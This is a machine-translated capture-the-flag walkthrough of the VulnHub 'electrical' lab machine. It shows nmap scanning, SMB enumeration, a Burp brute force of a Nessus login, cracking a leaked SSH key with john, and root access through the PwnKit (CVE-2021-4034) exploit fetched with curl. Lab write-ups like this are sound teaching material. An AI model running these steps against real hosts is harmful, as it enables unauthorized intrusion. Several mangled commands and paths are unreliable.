Information collection on the target machine

0 23
ForewordTarget machine:digitalworld.local-electrical, the IP address is192.168.1...

Foreword

Target machine:digitalworld.local-electrical, the IP address is192.168.10.12, later due to lag, reinstalled,ipThe address is followed by192.168.10.11

Attack:kali, the IP address is192.168.10.6

Information collection on the target machine

kaliAdoptVMwareVirtual machine, target machine choose to useVMwareOpen a file, and select bridged network

There are two official methods provided here, one is to use directlyvirtualboxLoad, another way is toVMwareDirectly load, and it also providesisoimage files.

The target machines involved in the article come fromvulnhubOfficial website, if you want to download, you can visit the official website to download, or download through the cloud diskhttps://pan.quark.cn/s/86cf8a398835

Host discovery

to usearp-scan -lornetdiscover -r 192.168.10.1/24Scan

can also be usednmapwith tools such as

image

Information collection

Use nmap to scan ports

ScantcpPort, and save tonmap-tcp

nmap -sT 192.168.10.12 --min-rate=1000 -p- -oA nmap-tcp

image

Scan the common 20udpPort, but most of the ports here are uncertain

nmap -sU 192.168.10.12 --top-ports 20 -T4 -oA nmap-udp

image

Take the ports scanned beforetcp, udpPort, process it, and only take the port number

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#Here, do not include all possible open ports, as it is a target machine, and filtering may also prevent further scanning
ports=22,80,8080,68,69,138,161,631,1434,1900

image

In-depth scanning for specific port numbers

nmap -sV -O -sC -sT 192.168.10.12 -p $ports -oA detail

image

image

image

Use scripts to detect for vulnerabilities

nmap --script=vuln 192.168.10.12 -p $ports -oA vuln

image

SMB detection

to useenum4linuxAttempt to enumerate and find two sharedprint$andIPC$and there are also two usersgovindasamyandelectrical

image

image

8834 port scanning

Here, it should be noted thathttpsprotocol

https://192.168.10.12:8834

image

If there is no information leakage after checking the page source code, then try to identify it usingwhatwebtest

image

and then use browser pluginswappalyzerIdentify

image

Attempt directory brute force, you can usedirbordirsearchPerform test

dirsearch -u https://192.168.10.12:8834 -x 403,404 -e js,txt,zip,bak,cfm,dbm

image

there wasapiAfter visiting, it is found that there are many features

image

test theseapifunction after, basically all need to log in, meaningless

website password cracking

try to capture data packets and crack, using the two usernames mentioned above as tests, I am usingburpto

select the attack point, attack mode, and dictionary selection

image

The default dictionary here is onlyburp proversion is available, if you use the community version, you can load the password dictionary, such as loadingkaliin/usr/share/wordlists/fasttrack.txtdictionary orrockyou.txtAlso fine

image

After starting the attack, wait for a while and you can find that a username has been successfully obtainedgovindasamyand weak passwordspassword

image

Sensitive information leakage

The target machine below has been reinstalled, and the IP address has been changed to192.168.10.11

Enter the password to log in, after logging in, it is found that it isnessusvulnerability scanningwebinterface, I have also searched for the corresponding version beforenessusVulnerabilities, but there are no exploitable ones, so in thisweb uiinterface for detection.

image

It is recommended to useburpCapture the entire data packet

in the testscanincredentialed checkClick the configurationconfigurationI found a text field, and there is content below, and it is still a private key, this may be on the target machine, just maybe, further testing is needed

image

Copy and save this content tokaliin one of the files

And in the configuration, the default account iselectrical

image

Attempt to log in and you can clearly see that the private key has been encrypted

chmod 600 id1
ssh electrical@192.168.10.11 -p 22222 -i id1

image

Here we usejohnPerform破解测试 crack test

ssh2john id1 > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

image

You can see that the password is the username, oh, I think I've seen it somewhere before, it's inburpWhen capturing packets and findingsshThe same interface as the private key, but it doesn't matter

Information collection on the target machine

to usesshPerform login

image

Checklocal.txtFile

image

Check which users are currently on the target machine

ls -al /home
cat /etc/passwd | grep /bin/bash

image

Check network status connections

ss -antulp
netstat -antulp

image

CheckipAddress status

ip add

image

Check system processes

ps aux | grep root
top

image

to usefindto find files with SUID privileges

find / -perm -u=s -type f 2>/dev/null

image

there wassudo,but here I don't knowelectricalpassword, after testing, it was found that indeed a password is required, so it was temporarily shelved

to view the kernel version and system version

uname -a
uname -r 
cat /etc/issue
cat /etc/*release
lsb_release

image

to view scheduled tasks

crontab -l
cat /etc/crontab
atq

image

Note, the upload of the following scripts are allkalipath, so you need to change it yourself, and the following scripts are allgithubon the project, you can search and download it yourself. Of course, for your convenience, I will place it in my own cloud disk

ThroughscpUploadpspy64to check for hidden tasks

#Execute the command on Kali to transfer via scp
scp -P 22222 -i https://www.freebuf.com/articles/digital/electrical/id1 pspy64 electrical@192.168.10.11:/tmp

However, when executed on the target machinepspy64After that, there was nothing to find

So upload another scriptlinpeas.sh,used for detecting

#Execute the command on Kali to transfer via scp
scp -P 22222 -i https://www.freebuf.com/articles/digital/electrical/id1 linpeas.sh electrical@192.168.10.11:/tmp

After detection, there was nothing to gain, but still saw some things, such as third-party toolsgccand others, but not installed, which means that files cannot be compiled on the target machine, and also saw possible vulnerabilities

image

privilege escalation

previously usedfindWhen searching for files with SUID privileges, it was found that there was/usr/libexec/polkit-agent-helper-1and/usr/bin/pkexec,combined with the previouspwnkitthe discovery of the vulnerability, that isCVE-2021-4034,guessing that it may be possible to exploit

ThroughAISearch, the following is the content

CVE-2021-4034(PwnKit)vulnerability:

​Mainly utilizes files with SUID privileges: /usr/bin/pkexecfile to achieve privilege escalation

pkexecIt is a tool provided by PolicyKit, used to elevate privileges as a privileged user (usually root)to execute commands with identity privileges.

PolicyKitIt is a framework used for managing privileged operations on Linux systems,pkexecitself is designed as a security mechanism to perform permission verification when users request to execute privileged operations.

However, the existence of the CVE - 2021 - 4034 vulnerability allows attackers to bypass pkexecthe permission verification mechanism. This vulnerability is due to pkexecThere is a buffer overflow vulnerability in the handling of environment variables, allowing attackers to construct malicious environment variables that can bypass pkexecMemory errors occur during execution, thereby changing the program's execution flow, and ultimately with rootexecute arbitrary commands with privileges.

Below isgithubsomepocbecause it is not possible to compile directly on the target machine, so use the compiled filesgithubThe project address ishttps://github.com/ly4k/PwnKit

using this compiled

image

First download tokaliin, and then throughscpdownloaded to the target machine

#Download
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit

#Transmission
scp -P 22222 -i /id1 PwnKit electrical@192.168.10.11:/tmp

Then add execution permissions on the target machine and execute directly

chmod +x PwnKit
https://www.freebuf.com/articles/es/PwnKit

image

Privilege escalation successful, check/rootThe files under the directory

image

Summary

The investigation of this target machine is as follows:

  1. For websites that do not have vulnerabilities and require login to view content, and do not support registration, brute force may be the best method, here the brute force not only includes password brute force

  2. existsmbservices, which can be useful

  3. For information in the website, that is, each module, it is best to enumerate users throughburpCapture packets, at least have historical records, so it is very easy to review. And there may be hidden information in the website that may not be visible through the page source code, it is recommended to use the browser's developer tools, here is through the discovery of a private key file, there is a next step

  4. sshprivate key files, for setting passwords, can be done throughjohnsuite for processingssh2johnconversion,johncracking

  5. For privilege escalation, several scripts are used herepspy64, linpeas.shdiscovered, of course, still need to be combined withfindcombined with the SUID permission files found.

  6. investigationpwnkitprivilege escalation, which is also known ascve-2021-4034which can be done throughgithubdownload

你可能想看:

Data security can be said to be a hot topic in recent years, especially with the rapid development of information security technologies such as big data and artificial intelligence, the situation of d

Distributed Storage Technology (Part 2): Analysis of the architecture, principles, characteristics, and advantages and disadvantages of wide-column storage and full-text search engines

APP Illegal Trend: Interpreting the 'Identification Method for Illegal and Unauthorized Collection and Use of Personal Information by APPs'

Announcement regarding the addition of 7 units as technical support units for the Ministry of Industry and Information Technology's mobile Internet APP product security vulnerability database

A Brief Discussion on the Establishment of Special Security Management Organizations for Operators of Key Information Infrastructure

Interpretation of Meicreate Technology's 'Security Protection Requirements for Key Information Infrastructure' (Part 1)

d) Adopt identification technologies such as passwords, password technologies, biometric technologies, and combinations of two or more to identify users, and at least one identification technology sho

A brief discussion on how to ensure the security of information assets during the termination of information systems

A record of entering the school management background through information collection

5. Collect exercise results The main person in charge reviews the exercise results, sorts out the separated exercise issues, and allows the red and blue sides to improve as soon as possible. The main

最后修改时间:
admin
上一篇 2025年03月30日 07:53
下一篇 2025年03月30日 08:16

评论已关闭